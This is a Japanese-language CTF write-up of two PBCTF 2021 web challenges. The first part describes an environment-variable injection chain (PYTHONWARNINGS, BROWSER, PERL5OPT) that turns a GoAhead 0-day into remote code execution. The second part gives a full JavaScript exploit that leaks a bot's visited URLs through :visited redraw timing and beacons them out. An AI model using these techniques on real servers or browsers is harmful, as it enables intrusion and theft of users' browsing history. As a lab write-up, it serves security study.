10/9 - 10/11という日程で開催された。zer0ptsで参加して5位。
他のメンバーが書いたwrite-up:
- PBCTF 2021 Writeups · A Simple Collection
- PBCTF 2021 - RCE 0-Day in Goahead Webserver | Ahmed Belkahla
[Web 340] Advancement (9 solves)
Embedthis GoAheadの最新版である5.1.4で、以下のようなシンプルなPythonのCGIスクリプトが動いている。それだけ。
#!/usr/bin/env python3 from datetime import date print("Content-Type: text/plain") print() today = date.today() print("Today's date:", today)
これは実は0-day問で、細工したHTTPリクエストを送ると、環境変数に好きな値を設定した上でCGIスクリプトを実行させられる。環境変数が操作できる状態で、Pythonでなにか悪いことができないかPOSIXさんの記事を見てみると、PYTHONSTARTUP
というものが見つかった。これは値として設定したファイルが自動的にPythonスクリプトとして読み込まれ実行されるというものだが、残念ながら対話モードでなければならない。
Kahlaさんから LD_PRELOAD
であればどうかというアイデアが出た。確かにアップロードしたファイルは通常であれば /etc/goahead/tmp
に予測可能なファイル名で一時的に保存されるし、なんなら /proc/self/fd/…
がそのファイルを指している。が、残念ながら docker-compose.yml
に read_only: true
という記述があり、そもそもファイルのアップロードができなかった。
雑に "python environment variable exploit" でググってみると、Hacking with Environment Variablesという大変気になる記事が見つかった。PYTHONWARNINGS
という環境変数に all:0:antigravity.x:0:0
という値を突っ込んでやれば、antigravity
というモジュールが読み込まれるらしい。これはPythonのイースターエッグで、読み込むとWebブラウザで https://xkcd.com/353/ が開かれる。この際 BROWSER
という環境変数が参照され、Webブラウザのパスとして扱われるが、その値が perlthanks
であれば perlthanks
というPerlスクリプトが実行される。Perlは実行時に PERL5OPT
という環境変数が設定されていれば、その値がコマンドラインオプションとして与えられているものとして扱う。-Mbase;print(123);exit
のような値が入っていれば、任意のPerlコードが実行できてしまう。
これら3つの環境変数を使って、print(system("cat".chr(0x20)."/flag"));
というPerlコードを実行させるとフラグが得られた。
pbctf{all_i_was_doing_is_running_a_simple_python_script}
[Web 353] Vault (8 solves)
セキュアにメモを保存できるらしいWebアプリケーションが与えられる。トップページには 1
から 32
までの数値が書かれたボタンがあり、押すとそれぞれ 1/
から 32/
までのサブディレクトリに移動する。例えば 5
, 9
, 6
, 3
の順番で押すと、最終的に /5/9/6/3/
に移動する。
パスが9階層以上の深さになると、以下のようにそのパスにメモを保存できるようになる。これだけ深くなれば、総当たりしようにもできないだろうということらしい。
if level > 8 and request.method == "POST": value = request.form.get("value") value = value[0:50] values.append(value)
トップページからは好きなURLの通報ができて、以下のようなbotによってアクセスされる。14階層分ランダムにボタンをクリックした後にそのパスにフラグを保存し、そしてユーザが通報したURLにアクセスする。フラグが保存されたパスを特定すればよいようだが、通報の度にそのパスは変わるから、一発で特定できるような方法を考えなければならない。
async function click_vault(page, i) { const vault = `a.vault-${i}`; const elem = await page.waitForSelector(vault, { visible: true }); await Promise.all([page.waitForNavigation(), elem.click()]); } async function add_flag_to_vault(browser, url) { if (!url || url.indexOf("http") !== 0) { return; } const page = await browser.newPage(); try { await page.goto(vaultUrl); for (let i = 0; i < 14; i++) { await click_vault(page, crypto.randomInt(1, 33)); } await page.type("#value", FLAG); await Promise.all([page.waitForNavigation(), page.click("#submit")]); await page.goto(url); await new Promise((resolve) => setTimeout(resolve, 30 * 1000)); } catch (e) { console.log(e); } await page.close(); }
フラグのパスが /5/9/6/3/…/
のような場合であれば、botはフラグを書き込むまでに /5/
, /5/9/
, …といったパスを閲覧しているはずだ。あるパスを閲覧したか判定できるような方法があれば、1階層ずつ総当たりで特定できる。
s1r1usさんから、CSSの :visited
という擬似クラスを使ってはどうかというアイデアが出た。じゃあCSS Injectionのノリで background-image
でリークすればいいんじゃないかと思い、以下のようなHTMLとCSSを書いてみたが動かない。調べてみたところ、どうやらプライバシー上の問題から:visited
擬似クラスが使われている場合は、一部のプロパティしか有効でないらしい。
<style> a[href^="/1/"]:visited { background-image: url(http://example.com?1); } a[href^="/2/"]:visited { background-image: url(http://example.com?2); } a[href^="/3/"]:visited { background-image: url(http://example.com?3); } </style> <a href="/1/">hoge</a> <a href="/2/">hoge</a> <a href="/3/">hoge</a>
XS-Leaks Wikiなんかも眺めつつなんとかできないか考えていたところ、s1r1usさんがとても興味深いChromiumのissueを発見した。
このissueは次のような内容だ。大量の a
要素を含むWebページを用意して、あらかじめそれらのリンクの href
属性を https://example.com/(乱数)
のような確実にユーザが訪問したことのないURLにしておく。続けて、それらのリンクの href
属性を、ユーザが訪問済みであるかどうか確かめたいURLに変更する。もしそのURLが訪問済みであればリンクの色は変わるし、未訪問であればリンクの色は変わらない。その差により、requestAnimationFrame
を使ってこの変更後に再描画にかかった時間を計測してやると、訪問済みであれば未訪問である場合より長くなっているはずだ。
手元のGoogle Chrome 94.0.4606.81でも動いたし、問題サーバのbotはシークレットモードでないからこの手法が使えそうだ。issueに添付されていたPoCを参考に、text-shadow
などを使ってより再描画に時間がかかりそうな重いCSSを書く。リンクの指す先を切り替えて再描画の時間を計測するJavaScriptコードなども丸々書き直すと、次のようなスクリプトができあがった:
<body> <style> #nyan { text-shadow: black 1px 1px 50px; opacity: 1; font-size: 15px; word-break: break-all; } a { padding: .5em; } </style> <div id="nyan"></div> <script> const NUMBER_OF_ELEMENTS = 130; const NUMBER_OF_TRIES = 4; const div = document.getElementById('nyan'); for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) { let link = document.createElement('a'); link.textContent = '#'.repeat(15); link.style.position = 'absolute'; link.style.top = i + 'px'; link.style.left= i + 'px'; div.appendChild(link); } function updateLinks(url) { for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) { div.children[i].href = url; } } function average(a) { return a.reduce((p, c) => p + c, 0) / a.length; } function go(link) { return new Promise(resolve => { let a = []; let count = 0; updateLinks(Math.random()); let prev = performance.now(); let flag = false; function loop() { let now = performance.now(); let diff = now - prev; prev = now; a.push(diff); flag = !flag; if (flag) { updateLinks(Math.random()); } else { updateLinks(link); } count++; if (count < NUMBER_OF_TRIES) { requestAnimationFrame(loop); } else { resolve(average(a)); } } requestAnimationFrame(loop); }); } (async () => { const result = await go(`http://vault.chal.perfect.blue/0/`); let known = ''; for (let i = 0; i < 14; i++) { let [mt, mu] = [0, '']; for (let j = 1; j <= 32; j++) { const result = await go(`http://vault.chal.perfect.blue/${known}${j}/`); if (result > mt) { mt = result; mu = j; } } known += `${mu}/`; console.log(known); navigator.sendBeacon(`log.php?${known}`); } })(); </script> </body>
このHTMLを開くと、いかにも重そうなおぞましいWebページが描画される。
これをbotに報告してやると、そのアクセスでは /8/22/21/4/15/4/18/9/9/1/5/17/8/16/
がフラグの保存されたパスであることがわかった。そのパスにアクセスするとフラグが得られた。
pbctf{who_knew_that_history_was_not_so_private}